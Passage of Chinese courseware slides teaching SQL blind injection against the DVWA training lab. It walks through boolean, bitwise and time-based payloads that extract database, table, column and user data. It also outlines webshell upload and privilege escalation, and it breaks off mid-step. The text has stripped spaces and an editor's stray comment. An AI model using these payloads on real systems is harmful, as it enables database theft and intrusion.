Web基礎滲透與防護(第2版)課件 項目六SQL盲注攻擊與防御_第1頁
Web基礎滲透與防護(第2版)課件 項目六SQL盲注攻擊與防御_第2頁
Web基礎滲透與防護(第2版)課件 項目六SQL盲注攻擊與防御_第3頁
Web基礎滲透與防護(第2版)課件 項目六SQL盲注攻擊與防御_第4頁
Web基礎滲透與防護(第2版)課件 項目六SQL盲注攻擊與防御_第5頁
已閱讀5頁,還剩115頁未讀, 繼續免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

項目六SQL盲注攻擊與防御項目描述項目分析項目小結項目訓練實訓任務項目描述SVU?公司新開發了基于Web的用戶管理系統,可以?使用用戶?ID?查詢用戶是否存在,

滲透測試工程師小?D?負責測試該功能的安全,并提出針對性的加固方案。因此,小?D?需要了解?SQL?盲注入攻擊的基礎知?識。本項目的具體要求如下:(1)測試盲注注入點類型;(2)測試?SQL?盲注繞過方法;(3)測試是否可以控制服務器;(4)針對測試結果,給出加固方?案。

與上個項目相同,與后面的項目也差不多?不應該啊,每個項目的項目描述應有所區別

這兩個項目都是SQL注入,只是返回信息不同,采取完全不同的注入方法項目分析SQL?盲注攻擊是攻擊者對數據庫進行攻擊的常用手段之一。防御的方法是降低數據庫連接用戶的權限,對需要執行的?SQL?命令進行嚴格的代碼審計。針對上述情況,本項目的任務布置如下所?示。項目目標(1)了解?SQL?盲注的基本原?理。(2)掌握不同數據庫的識別方法與原?理。(3)掌握不同數據庫的特?點。(4)利用?SQL?盲注完成對?MySQL?數據庫的滲透測?試。(5)學會程序設計中防御?SQL?盲注攻擊的基本方?法。項目分析項目任務列表(1)利用簡單的?SQL?盲注分析基于布爾值的字符注入原?理。(2)利用簡單的?SQL?盲注分析基于布爾值的字節注入原?理。(3)利用?SQL?盲注分析基于時間的注入原?理。(4)非文本框輸入的基于布爾值的字符注?入。(5)高等安全級別下基于布爾值的字符注?入。(6)使用?BurpSuite?工具暴力破解?SQL?盲?注。(7)SQL?盲注攻擊防?御。項目分析項目實施流程SQL注入攻擊的典型流程如下,如下圖4所示:(1)判斷?Web?系統使用的腳本語言,發現注入點,并確定是否存在?SQL?盲注漏?洞。(2)判斷?Web?系統的數據庫類?型。(3)判斷數據庫中表及相應字段的結?構。(4)構造注入語句,得到表中數據內?容。(5)查找網站管理員后臺,使用獲取的管理員賬號和密碼登?錄。(6)結合其他漏洞,設法上傳?Webshell。(7)進一步提權,得到服務器的系統權?限。發現注入點數據庫類型判斷表結構判斷獲取數據獲取賬號上傳Websehll提權圖6-1SQL注入攻擊典型流程項目分析項目相關知識點SQL盲注注入類型判斷SQL注入與SQL盲注注入數據類型相同,都是兩種類型:數值型與字符型。盲注與非盲注的不同在于不會返回具體數據,只返回數據是不是存在,我們簡單稱為正確(數據存在)或錯誤(數據不存在),需要通過數據是否正確來判斷注入類型,在缺乏經驗的條件下,需要仔細設計注入數據,通過注入數據與返回是否正確來推測注入類型。(1)、設計注入數據0與1-1,首選需要確定輸入數字0時,返回錯誤。結合兩個輸入值來判斷注入類型。如果1-1輸入后返回錯誤,則說明注入類型為數值型,因數值可以做1-1的數值運算,結果為0;如果返回正確,則說明為字符型注入,因為將1-1作為字符串處理。(2)、使用0與1and1=2注入進行判斷,首先確定輸入0時為錯誤,如果輸入1and1=2返回錯誤,則說明為數值型注入,做了數值運算;返回正確,則為字符型注入,作為字符串處理。項目分析(3)、使用1and1=1與1and1=2進行判斷,如果返回值相同,則說明字符型注入,都作為字符串處理;如果返回值,不相同則為字符型注入,作了數值運算。(4)、使用1’and1=1#與1’and1=2#進行判斷,如果返回值不相同,則說明為字符型注入作為字符串處理;返回值相同,則為數值型注入,都為非法數據,都多了一個單引號。SQL盲注數據庫類型判斷

在SQL注入章節中,對數據庫類型判斷,給出了詳細判斷方法,在本章節中

不在重復說明,結合SQL注入章節中對數據庫類型的判斷知識,對盲注數據庫判斷做進一步分析。

在具體分析前需要將SQL注入與SQL盲注的區別進行分析。在SQL注入中,如果注入數據合法,將會把數據顯示出來,因此在構造過程中,是構造條件為真值,即使用“or”條件,或者是直接使用“union”聯合查詢將數據顯示,作為判斷依據。但是在SQL盲注中,針對輸入的數據只有兩種結果,正確或者錯項目分析誤。因此在構造過程中使用“and”條件,通過構造語句是否正確判斷注入語句是否正確,進一步推測判斷輸入數據是否合理。

在進行數據庫類型判斷時,可以使用函數exists(),進行判斷,存在返回真值1,不存在返回假值0。結合表5.1中的函數,再次將該表內容列出如表6.1所示,作為數據庫類型判斷的依據。使用注入語句“1'andexists(select@@version)#”,如果返回正確,則說明為數據庫類型為MicrosoftSQLServer或者MySQL,使用注入語句“1'andexists(selectversion())#”,如果返回正確,則說明為MySQL;如果錯誤,則為MicrosoftSQLServer。還可以使用SQL注入章節中涉及到的其他函數作為判斷依據。6.2項目分析表6-2在返回各種數據庫服務器時對應的查詢數據庫服務器查詢MicrosoftSQLServerSELECT@@versionMySQLSELECTversion()SELECT@@versionOracleSELECTbannerFROMv$versionSELECTbannerFROMv$versionWHERErownum=1PostgreSQLSELECTversion()項目分析mysql>

select

sleep(1);

+----------+

|

sleep(1)

|

+----------+

|

0

|

+----------+

1

row

in

set

(1.00

sec)

MySQL中執行sleep(n)用法Selectsleep(n)讓此語句運行n秒鐘:該語句返回給客戶端的執行時間顯示為等待了?1?秒。借助于?sleep(n)這個函數可以在?MySQLServer?的?processlist?中捕獲到執行迅速、不易被查看到的語句,以確定程序是否確實在數據庫服務器執行了該語句。例如,在調試時想確定程序是否向服務器發起了執行?SQL?語句的請求,可以通過執行?showprocesslist?或由?information_cesslist?表來查看語句是否出現。但往往語句執行速度非???,很難通過上述方法確定語句是否真正被執行了。例如,下述語句的執行時間為?0.00?秒,線程信息一閃而過,根本無從察?覺。項目分析mysql>

select

name

from

animals

where

name='tiger';

+-------+

|

name

|

+-------+

這|

tiger

|

+-------+

1

row

in

set

(0.00

sec)

在這種情況下,可以通過在語句中添加一個sleep(N)函數,強制讓語句停留N秒鐘,來查看后臺線程,例如:mysql>

select

sleep(1),name

from

animals

where

name='tiger';

+----------+-------+

|

sleep(1)

|

name

|

+----------+-------+

|

0

|

tiger

|

+----------+-------+

1

row

in

set

(1.00

sec)

項目分析同樣的條件該語句返回的執行時間為1.0秒。但是使用這個辦法是有前提條件的,也只指定條件的記錄存在時才會停止指定的秒數,例如查詢條件為name='pig',結果表明記錄不存在,執行時間為0mysql>

select

name

from

animals

where

name='pig';

Empty

set

(0.00

sec)

在這樣一種條件下,即使添加了sleep(N)這個函數,語句的執行還是會一閃而過,例如:[sql]

viewplain

copymysql>

select

sleep(1),name

from

animals

where

name='pig';

Empty

set

(0.00

sec)另外需要注意的是,添加sleep(N)這個函數后,語句的執行具體會停留多長時間取決于滿足條件的記錄數,MySQL會對每條滿足條件的記錄停留N秒鐘。項目分析例如,namelike'%ger'的記錄有?3?條:mysql>

select

name

from

animals

where

name

like

'%ger';+-------+

|

name

|

+-------+

|

ger

|

|

iger

|

|

tiger

|

+-------+

3

rows

in

set

(0.00

sec)

那么針對該語句添加了sleep(1)這個函數后語句總的執行時間為3.01秒,可得出,MySQL對每條滿足條件的記錄停留了1秒中。mysql>

select

sleep(1),name

from

animals

where

name

like

'%ger';

+----------+-------+

|

sleep(1)

|

name

|

+----------+-------+

|

0

|

ger

|

|

0

|

iger

|

|

0

|

tiger

|

+----------+-------+

3

rows

in

set

(3.01

sec)

項目小結

通過前一節的項目分析我們介紹了SQL盲注實施攻擊的步驟和原理。SQL盲注的本質是惡意攻擊者將SQL代碼插入或添加到程序的參數中,而程序并沒有對傳入的參數進行正確處理,導致參數中的數據會被當做代碼來執行,并最終將執行結果返回給攻擊者。

利用SQL盲注漏洞,攻擊者可以操縱數據庫的數據,如得到數據庫中的機密數據、隨意更改數據庫中的數據、刪除數據庫等等,在得到一定權限后還可以掛馬,甚至得到整臺服務器的管理員權限。由于SQL盲注是通過網站正常端口(通常為80端口)來提交惡意SQL語句,表面上看起來和正常訪問網站沒有區別,如果不仔細查看WEB日志很難發現此類攻擊,隱蔽性非常高。一旦程序出現SQL盲注漏洞,危害相當大,所以我們對此應該給予足夠的重視。本項目完成后,需要提交項目總結內容清單如下表所示:項目小結表6-3項目提交清單內容序號清單項名稱備注1項目準備說明包括人員分工、實驗環境搭建、材料工具等,2項目需求分析內容包括介紹SQL盲注攻擊的主要步驟和一般流程;分析SQL盲注攻擊的主要原理、常見攻擊工具的分類和特點。3項目實施過程內容包括實施過程,具體配置步驟4項目結果展示內容包括對目標系統實施SQL盲注攻擊和加固的結果,可以以截圖或錄屏的方式提供項目結果。6.1實驗環境本章節中的所有實驗環境都是安裝在winxp虛擬機中,在虛擬機中使用的實驗環境為DVWA實驗環境,使用python-2.7、DVWA-1.9、xampp-win32-1.8.0-VC9-installer三個軟件搭建。使用到了中國菜刀、Burpsuit工具。Burpsuit運行環境需要安裝jre,工具為:burpsuite_pro_v1.7.03、jre-8u111-windows-i586_8.0.1110.14、Firefox_152_setup。在本章節命令注入實驗中使用物理機作為攻擊機,虛擬機作為靶機。1、打開靶機虛擬機,在虛擬機中打開桌面上的xampp程序確保Apache服務器與數據庫MySQL處于運行狀態,如下圖所示:6.2基于布爾值的字符注入圖6-2靶機運行狀態6.2基于布爾值的字符注入2、查看靶機服務器ip地址,在運行中運行cmd開啟msdos窗口,在dos中運行ipconfig,查看當前服務器的ip地址,如下圖所示:圖6-3查看靶機ip地址6.2基于布爾值的字符注入3、在攻擊機中打開瀏覽器輸入靶機的ip地址,因為我們是在DVWA平臺中進行滲透測試,因此完整的路徑為靶機ip地址+dvwa,具體為31/dvwa/login.php,在滲透平臺中需要使用用戶名與密碼登錄,默認賬號為用戶名:admin;密碼:password。如下圖所示:圖6-4登錄DVWA平臺6.2基于布爾值的字符注入4、登錄?DVWA?平臺后可以看到如圖?6-5?所示的設置安全級別界面,在左側列表中選擇“DVWASecurity”選項,本實驗主要利用?SQL?盲注滲透分析漏洞原理,因此設置安全級別為“Low”,然后單擊“Submit”按?鈕。圖6-5DVWASecurity安全級別設置6.2基于布爾值的字符注入5、在如圖?6-5?所示的界面中,選擇左側列表中的“SQLInjection(Blind)”選項,進行?SQL?盲注實驗。在圖?6-6?所示的實驗環境中,輸入正確的數據。根據提示,需要輸入?UserID,在文本框中輸入數字“1”,然后單擊“Submit”按鈕,返回結果如圖?6-6?所?示。圖6-6正確輸入返回值6.2基于布爾值的字符注入6、由上圖知,在輸入正確數據返回值為“UserIDexistsinthedatabase.”后面簡稱為“正確”。輸入錯誤數據查看返回值為“UserIDisMISSINGfromthedatabase”后面簡稱為“錯誤”。輸入“0、m、100”結果如下圖所示:圖6-7錯誤返回數據6.2基于布爾值的字符注入7、下面對是否存在注入漏洞進行判斷。使用注入語句“1or1=1”與“1'or1=1#”,進行注入漏洞判斷,返回結果如圖?6-10?所示。對于注入的兩條語句,返回結果都正確,所以可以判斷存在注入漏?洞。圖6-8注入漏洞判斷6.2基于布爾值的字符注入8、下面對注入類型進行判斷。在此使用“0”與“1-1”進行判斷。使用“1and1=2”進行注入類型驗證,由返回結果可以得出,注入類型為字符型注入(如圖?6-11?和圖?6-12?所?示)。圖6-9注入類型判斷6.2基于布爾值的字符注入9、對數據庫類型進行判斷,使用注入語句“1'andexists(select@@version)#”與“1'andexists(selectversion())#”,返回結果分別如圖?6-13?和圖?6-14?所示,由結果可以判斷為?MySQL?數據庫。圖6-10數據庫類型判斷6.2基于布爾值的字符注入10、通過前面的測試與信息收集,可以確定存在SQL盲注漏洞且為字符型注入漏洞、數據庫類型為MySQL數據庫。下面可以針對性對數據庫進行注入,針對SQL盲注分為基于布爾的盲注、基于時間的盲注。針對數據不同處理方法分為ASCII注入、字節注入,結合前面的類型,存在四中不同的注入方法,基于布爾的ASCII注入、基于布爾的字節注入、基于時間的ASCII注入、基于時間的字節注入。下面采用基于布爾的ASCII注入方法,完成SQL盲注。11、使用database()函數獲取當前數據庫,因是盲注,只返回正確與錯誤,無法將具體值返回顯示,因此需要做較詳細的判斷,首先在使用database()函數獲取到數據庫名稱后,需要判斷出該名稱的長度與名稱字符組成。使用注入語句“1'andlength(database())=1#”做判斷,顯示結果如下圖所示,可以看到為錯誤,所以判斷長度不為1,繼續將1替換為2、3、4等值作為注入,在注入過程中發現,當注入語句為“1'andlength(database())=4#”時返回值為正確,所以可以判斷數據庫長度為4。因SQL盲注返回結果比較單一,只有兩個值“正確”、“錯誤”,后面實驗中不再截圖作為演示。6.2基于布爾值的字符注入圖6-11數據庫名稱長度判斷6.2基于布爾值的字符注入12、分析數據庫名稱字符組成,需要將數據庫名稱中的?4?個字符逐一判斷出來。本實驗使用?ASCII?碼進行判斷,需要知道大寫字符與小寫字符的?ASCII?碼值。大寫字符?A~Z?的?ASCII?碼值為?65~90,小寫字符?a~z?的?ASCII?碼值為?97~122。需要判斷出每個字符的?ASCII?碼值,然后對照?ASCII?碼表,獲取每個字符。在進行字符判斷時通常使用二分法,這樣可以減少判斷次數,不需要對逐個值進行判斷。以一個小寫字符為例,逐一比較,最多需要比較?26?次;采用二分法,最多需要比較?5?次。下面采用二分法獲取字符如?下:

第一個字符區分是大寫還是小寫:1'andascii(substr(database(),1,1))>97#,返回正確,可以斷定為小寫字符,1'andascii(substr(database(),1,1))>109#,返回錯誤,可以判斷在98-109之間。使用1'andascii(substr(database(),1,1))>103#,返回錯誤,判斷值在98-103之前。使用1'andascii(substr(database(),1,1))>100#,返回錯誤,判斷在98-100之間。使用1'andascii(substr(database(),1,1))>99#,返回正確,值大于99正確,大于100錯誤,所以值為大于99,小于等于100,因都是整數值,6.2基于布爾值的字符注入所以值為100,對應ASCII碼表,確定第一個字符為“d”。使用相同的測試方法,獲取其他字符,可以獲取到數據庫名為“dvwa”。函數substr(字符串,n,m),在該函數中,n字符串起始位置,m為取字符個數,例如上面函數中n、m都為1,表示從第一個字符開始取一個字符,即取第一個字符。將substr(字符串,n,m)中n值由1到4,m值為1不變,使用1'andascii(substr(database(),2,1))>97#,進行注入,可以猜測到數據庫完整名稱為“dvwa”。13、猜測到數據庫名稱后,要將數據庫中的數據猜測出來,首先需要猜測收集數據庫中有多少個表。使用“1'and(selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=1#”進行注入,如果返回為錯誤,則有多于一個表,經過測試發現當“1'and(selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=2#”時返回正確,可以得到dvwa數據庫中有兩個數據表。6.2基于布爾值的字符注入14、要獲取數據庫中的數據,還需要收集表名、表中列字段的個數和列?名。

已知數據庫中有兩個數據表,下面以第一個數據表為例,進行下一步的數據注入。要獲取表名,需要知道表名中有幾個字符,因此首先判斷第一個表的名稱長度,使用注入語句“1‘andlength(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=1#”,返回錯誤,直到等號后面的值從?1?變為?9?時,返回正確,說明表的名稱長度為?9。這里使用了?limit?關鍵字返回篩選數據的行數,“limitm,n”表示從第

m(m?從最小值?0?開始)行開始取

n?行數據,“limit0,1”表示從第一行(0)開始取一行數據,即將篩選數據中的第一行返回。經過測試得到兩個表名長度分別為?9?和?5。6.2基于布爾值的字符注入15、獲取到數據表長度后,需要測試獲取數據表的名稱,使用注入語句“1'andascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))>97#”,獲取第一個表中的第一個字符,并將字符值轉換為對應的ASCII碼值,使用二分方法判斷值為多少,(參照任務1中12步驟)使用二分法逐一獲取到兩個表名的所有字符,分別為“guestbook、users”。16、獲取到表名后,需要獲取列的信息,包括列字段個數,每個列字段長度,以及每個列字段的每個字符。使用注入語句“1'and(selectcount(column_name)frominformation_schema.columnswheretable_name='users')=1#”,猜測users表中列字段個數,將等號后數字1,從1到8,當值為8時,返回值為正確,所以確定users表中有八個列字段。17、獲取users表中的第一個列字段,判斷第一個列字段的長度,使用注入語句“1'andlength(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),1))=1#”,返回錯誤,當值從1到7,當值為7時返回正確,可以確定第一列長度為7,逐一判斷8個列字段長度,分別為“7、10、9、4、8、6、10、12”。6.2基于布爾值的字符注入18、采用二分法逐一判斷列字段中的每一個字符,以第一列字段為例,使用注入語句“1'andascii(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),1,1))>1#”,逐一判斷,可以確定users表8個列字段,分別為“user_id、first_name、last_name、user、password、avatar、last_login、failed_login”。19、現在可以使用列字段名稱,讀取表中數據,以users表中user列為例,使用注入語句“1'and(selectcount(user)fromusers)=1#”,對表中行數進行統計。值從1到6逐一判斷,當值為6時,返回值為正確,可以判斷,表中行數為6行。20、判斷users表中user列,第一行數據的長度,使用注入語句“1'andlength(substr((selectuserfromuserslimit0,1),1))=1#”,返回錯誤,當值從1到5逐一判斷,當值為5時,返回正確,則users表中user列中第一行數據長度為5。6.2基于布爾值的字符注入21、下面分析上述?5?個字符分別是什么,使用注入語句“1'andascii(substr((selectuserfromuserslimit0,1),1,1))>97#”,采用二分法逐一獲取每個字符,可以得到第一行數據為“admin”。22、繼續按照步驟(19)~(20)操作,獲取?users?表中的所有數?據。任務2利用簡單的SQL盲注分析基于布爾的字節注入原理

基于字節注入,需要知道計算機在存儲中,英文字符使用一個字節,存儲一個漢字為兩個字節進行存儲,假設實驗中數據都為英文字符,因此只需要處理一個字節的數據即可。一個字節是有八個比特位組成,比特位從高位到低位每一位代表的十進制數據如下表所示。6.3基于布爾值的字節注入任務2利用簡單的SQL盲注分析基于布爾的字節注入原理在計算機中,英文字符使用?1?字節存儲,漢字使用?2?字節存儲。假設本實驗中的數據都為英文字符,因此只需要處理?1?字節數據。1?字節由?8?個二進制位組成,字節二進制位對應的十進制數據見表?6-2。6.3基于布爾值的字節注入表6-4字節位數的值字節二進制位十進制數據10000000128010000006400100000320001000016000010008000001004000000102000000011

將一個字節分別與上面表中的八個二進制位進行位“&”運算(如下表所示),即可將一個字節的每一位取出來。由表6-5知,兩個數做&運算,當兩個值都為1時為1,其他時候值為0。當一個值為1或0,與1做&運算還是1或0,還是原來的數值,保持不變。當一個值為1或0,與一個值0做&運算,結果都為0。6.3基于布爾值的字節注入表6-5&運算數1數2&結果111100010000運用&運算的特性,可以將每一個位取出,例如一個二進制位“10011100”與表6-4中的八個二進制位做&運算,結果如下表。6.3基于布爾值的字節注入表6-6取每一位值字節二進制位固定字節&結果十進制數值邏輯值1000000010011100100000001281(真值)01000000100111000000000000(假值)00100000100111000000000000(假值)000100001001110000010000161(真值)00001000100111000000100081(真值)00000100100111000000010041(真值)00000010100111000000000000(假值)00000001100111000000000000(假值)

由上表可知,做&算后會返回每一位的值,使用基于字節的注入方法,優點是每一個字符的判斷只需要運行八次就可做準確判斷。缺點是每一個字符最少也要做八次判斷。采用二分法128個字符,最多需要2n>=128,即n為7,最多需要7次。重復任務1的步驟只是注入語句發生變化,在該任務中,簡單描述注入語句與注入結果。6.3基于布爾值的字節注入1、測試判斷數據庫長度,注入語句為:1'andascii(length(database()))&128=128# 錯誤1'andascii(length(database()))&64=64# 錯誤1'andascii(length(database()))&32=32# 正確1'andascii(length(database()))&16=16# 正確1'andascii(length(database()))&8=8# 錯誤1'andascii(length(database()))&4=4# 正確1'andascii(length(database()))&2=2# 錯誤1'andascii(length(database()))&1=1# 錯誤由上面的邏輯值可知,二進制位為“00110100”轉換為十進制為“52”,在ASCII碼表中,十進制值為52的字符為數字4,所以數據庫名長度為4。2、數據庫名每一個字符的判斷,使用注入語句“1'andascii(substr(database(),1,1))&128=128#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。如下所示,有邏輯值可知,二進制位“01100100”,十進制數值為“100”,對應ASCII碼表中字符“d”。6.3基于布爾值的字節注入1'andascii(substr(database(),1,1))&128=128# 錯誤1'andascii(substr(database(),1,1))&64=64# 正確1'andascii(substr(database(),1,1))&32=32# 正確1'andascii(substr(database(),1,1))&16=16# 錯誤1'andascii(substr(database(),1,1))&8=8# 錯誤1'andascii(substr(database(),1,1))&4=4# 正確1'andascii(substr(database(),1,1))&2=2# 錯誤1'andascii(substr(database(),1,1))&1=1# 錯誤3、數據表個數判斷,注入語句為“1'andascii(selectcount(table_name)frominformation_schema.tableswheretable_schema=database())&128=128#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。4、第一個數據表中,表名長度判斷,注入語句為“1'andascii(length(substr(selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))&128=128#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。6.3基于布爾值的字節注入5、第一個表的表名第一個字符,注入語句為“1'andascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))&128=128#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。6、第一個表中列字段個數,注入語句為“1'andascii(selectcount(column_name)frominformation_schema.columnswheretable_name='guestbook')&128=128#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。7、第一個表中第一個列字段長度,注入語句“1'andascii(length(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='guestbook'limit0,1),1)))&128=128#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。6.3基于布爾值的字節注入

8、第一個表中第一個列字段第一個字符的注入,語句為“1'andascii(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='guestbook'limit0,1),1,1))&128=128#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。

9、以users表中,user列為例,讀取該列數據,獲取該列數據行數,注入語句為“1'andascii(selectcount(user)fromusers)&128=128#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。10、users表中,user列,第一行數據長度。注入語句為“1'andascii(substr((selectuserfromuserslimit0,1),1))&128=128#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。11、users表中,user列,第一行數據的第一個字符注入語句為“1'andascii(substr((selectuserfromuserslimit0,1),1,1))&128=128#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。6.4基于時間的注入任務3利用SQL盲注分析基于時間注入原理

在該任務中分析基于時間盲注的基本原理。使用函數sleep(n),函數被正確執行,會讓進程延遲n秒。在該任務中將基于字符型與基于字節的兩種注入方法,都給出簡單的分析。在使用sleep(n)函數時,需要留意是否發生延遲,對于執行結束后的返回值并不重要,這是因為該函數被執行,返回值為“0”。使用注入語句“1'unionselect1,sleep(5)#”,在前一章節SQL注入環境中,查看運行結果,在執行過程中明顯覺察到時間延遲,返回值如下圖所示,在黑色直線標記處,可以看到返回值為“0”圖6-12查看sleep()返回值6.4基于時間的注入1、不同數據庫類型具有不同的時間延遲函數,例如下表所示,在使用下列一系列函數中,可以同時判斷數據庫類型與注入類型。表6-7延遲函數MySQLSleep()PostgreSQLSleep()(低于或者等于8.1版本)Pg_sleep(高于或者等于8.2版本)SQLServerWAITFORDELAYOracleDBMS_LOCK.SLEEP()2、判斷注入類型,使用注入語句“1andsleep(5)”與“1'andsleep(5)#”,返回結果如下圖所示。在執行“1andsleep(5)”注入語句時,沒有感覺到時間延遲,即時間延遲函數沒有被執行,通過分析下圖返回值可以知道,注入語句作為字符串處理。使用注入語句“1'andsleep(5)#”,可以明顯感覺到時間延遲,可以判斷時間延遲函數被執行。通過前面分析知道sleep()函數執行后返回“0”,與0做and運算,結果仍然為0,即假值,所以返回結果為錯誤,如下圖所示。6.4基于時間的注入圖6-13注入類型判斷

3、猜解數據庫名稱,需要猜解數據庫中每個字符,因此需要首先猜解數據庫名稱字符長度,使用注入語句“1'andif(length(database())=1,sleep(5),1)#”,查看在運行過程中有沒有時間延遲。在注入語句運行過程中,沒有覺察到時間延遲。上述注入語句,使用了條件判斷語句“if(表達式,條件1,條件2)”,在判斷語句中,如果表達式成立,則執行條件1,如果表達式不成立,則執行條件2。在注入語句“1'and6.4基于時間的注入if(length(database())=1,sleep(5),1)#”運行過程中,沒有時間延遲,即sleep()函數沒有被執行,而是執行了“1”,即length(database())=1不成立,即數據庫名稱長度不為1。運行結果如下圖所示:圖6-14數據庫長度注入返回值16.4基于時間的注入由上面返回結果分析,注入語句“1'andif(length(database())=1,sleep(5),1)#”被執行,且以真值執行,通過上面分析if條件判斷語句中執行了“1”,所以注入語句等價于“1'and1#”為真值,所以返回上圖返回值??梢耘袛?,只要sleep()函數不被執行,相似語句都返回上圖所示返回值,因此該任務中后續實驗步驟不再以圖片形式顯示執行結果,而以是否有時間延遲作為分析結果。為了猜解出數據庫名稱長度,使用下面注入語句繼續猜解:1'andif(length(database())=2,sleep(5),1)#沒有時間延遲1'andif(length(database())=3,sleep(5),1)#沒有時間延遲1'andif(length(database())=4,sleep(5),1)#有時間延遲在上面第三條語句注入運行時,發生時間延遲,可以判斷sleep()函數被執行,即表達式“length(database())=4”成立,數據庫長度為“4”。Sleep()函數被執行,返回“0”,因此注入語句等價于“1'and0#”為假值,返回結果如下圖所示6.4基于時間的注入圖6-15數據庫長度注入返回值2

4、前面分析可以得到,數據庫名稱長度為4。接著逐一使用二分法猜測數據庫名稱的四個字符,第一個字符使用下面注入語句。1'andif(ascii(substr(database(),1,1))>97,sleep(5),1)#有時間延遲1'andif(ascii(substr(database(),1,1))>109,sleep(5),1)#沒有時間延遲1'andif(ascii(substr(database(),1,1))>103,sleep(5),1)#沒有時間延遲1'andif(ascii(substr(database(),1,1))>100,sleep(5),1)#沒有時間延遲1'andif(ascii(substr(database(),1,1))>99,sleep(5),1)#有時間延遲6.4基于時間的注入

通過上面五條注入語句,進行分析,第一條有時間延遲,則字符ASCII值大于97成立;第二條語句沒有時間延遲,則字符ASCII值大于109不成立,則應小于等于109;第三條語句沒有時間延遲,則字符ASCII值大于103不成立,則應小于等于103;第四條語句沒有時間延遲,則字符ASCII值大于100不成立,則應小于等于100;第五條有時間延遲,則字符ASCII值大于99成立。字符ASCII值為整數值,且大于99小于等于100,則值為100,在ASCII碼表中,值為100為字符“d”。使用同樣的方法可以將其他三個字符猜解出來,即數據庫名稱為“dvwa”。5、猜解數據庫dvwa中有幾個數據表,使用下列注入語句與是否有時間延遲:1'andif((selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=1,sleep(5),1)#沒有時間延遲1'andif((selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=2,sleep(5),1)#有時間延遲

分析上面兩條注入語句,猜解到數據庫中有兩個數據表。6.4基于時間的注入

6、逐一猜解數據庫中數據表的表名,需要逐一猜解到數據表名的字符長度,以第一個數據表為例,使用下面注入語句與是否有時間延遲。1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=1,sleep(5),1)#無時間延遲1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=2,sleep(5),1)#無時間延遲1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=3,sleep(5),1)#無時間延遲1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=4,sleep(5),1)#無時間延遲1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=5,sleep(5),1)#無時間延遲6.4基于時間的注入1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=6,sleep(5),1)#無時間延遲1‘andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=7,sleep(5),1)#無時間延遲1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=8,sleep(5),1)#無時間延遲1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=9,sleep(5),1)#有時間延遲

由上面注入語句與時間延遲情況,分析得到第一個數據表的名稱長度為9。6.4基于時間的注入7、猜解第一個表名的第一個字符,使用注入語句“1'andif(ascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))>97,sleep(5),1)#”,沒有時間延遲,使用二分法猜解,得到ASCII值為103,字符為“g”。使用上述注入語句可以猜解到兩個數據表為“guestbook、users”。8、猜解列字段,首先需要猜解每個表中的列字段個數,以數據表users為例,使用注入語句“1'andif((selectcount(column_name)frominformation_schema.columnswheretable_name='users')=1,sleep(5),1)#”,無時間延遲,當值從1逐步輸入到8時,有時間延遲,則users表中有8個列字段。9、猜解第一個列字段的字符長度,使用注入語句“1'andif(length(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),1))=1,sleep(5),1)#”,無時間延遲,當值從1逐步輸入到7時,有時間延遲,則第一個列字段長度為7。6.4基于時間的注入10、猜解第一個列字段中第一個字符,使用注入語句“1'andif(ascii(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),1,1))>97,sleep(5),1)#”,無時間延遲,采用二分法得到ASCII值為117,字符為“u”,使用上面注入語句可以猜解到表中所有列的名稱“user_id、first_name、last_name、user、password、avatar、last_login、failed_login”。11、現在可以使用列字段名稱,讀取表中數據,以users表中user列為例,使用注入語句“1'andif((selectcount(user)fromusers)=1,sleep(5),1)#”,對表中行數進行統計。值從1到6逐一判斷,當值為6時,有時間延遲,可以判斷,表中行數為6行。12、判斷users表中user列,第一行數據的長度,使用注入語句“1'andif(length(substr((selectuserfromuserslimit0,1),1))=1,sleep(5),1)#”,無時間延遲,當值從1到5逐一判斷,當值為5時,有時間延遲,則users表中user列中第一行數據長度為5。6.4基于時間的注入13、測試分析獲取上面分析得到的五個字符分別是什么,使用注入語句“1'andif(ascii(substr((selectuserfromuserslimit0,1),1,1))>97,sleep(5),1)